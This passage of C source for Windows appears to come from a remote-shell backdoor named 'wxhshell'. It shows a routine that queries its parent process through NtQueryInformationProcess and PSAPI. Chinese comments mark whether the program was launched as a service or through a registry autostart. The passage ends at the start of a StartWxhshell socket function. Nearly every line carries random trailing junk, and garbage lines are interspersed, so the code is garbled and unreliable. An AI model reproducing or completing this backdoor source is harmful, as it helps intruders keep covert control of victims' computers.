DWORD AffinityMask; ;z^C\=om
DWORD BasePriority; Ha/-v?E
ULONG UniqueProcessId; ?bK^IHh
ULONG InheritedFromUniqueProcessId; W6uz
G
} PROCESS_BASIC_INFORMATION; [,p[%Dza
{= l9{K`~
PROCNTQSIP NtQueryInformationProcess; 09rbu\h
yi3Cd@t({{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h{M.+I$}C
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e?!A]2
"zBYhZr
HANDLE hProcess; FDO$(&
PROCESS_BASIC_INFORMATION pbi; D7b]
;Nf\
Ja#ti y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :+\B|*T2.L
if(NULL == hInst ) return 0; VSa#X |z
@Vac!A??:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); skn];%[v\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2=xjgK
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ycve[31BDd
*b]$lj
if (!NtQueryInformationProcess) return 0; N;]"_"
SdBo sB3v>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q+'QJ7fw'|
if(!hProcess) return 0; ,v+~vXO&\
g)#neEA J
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q~:k[@`.
72 >/@
CloseHandle(hProcess);
^iaG>rvA
8!{F6DG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $17utJ58
if(hProcess==NULL) return 0; J(\f(jh/
elf2!
HMODULE hMod; F&x9.
char procName[255]; %B'*eBj~fw
unsigned long cbNeeded; -5t.1/
DkGC+Dw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Wz%Hy:ZK
!r*Ogv[
CloseHandle(hProcess); \sZ!F&a~
0(!D1G{ul
if(strstr(procName,"services")) return 1; // 以服务启动 ;y"quJ'O
A296f(
return 0; // 注册表启动 VdV18-ea
} >|22%YVX
UFy"hJchO
// 主模块 eE/E#W8
int StartWxhshell(LPSTR lpCmdLine) }<hyW9
{ (},TZ+u
SOCKET wsl; X!%CYmIRb
BOOL val=TRUE; ~4fjFo&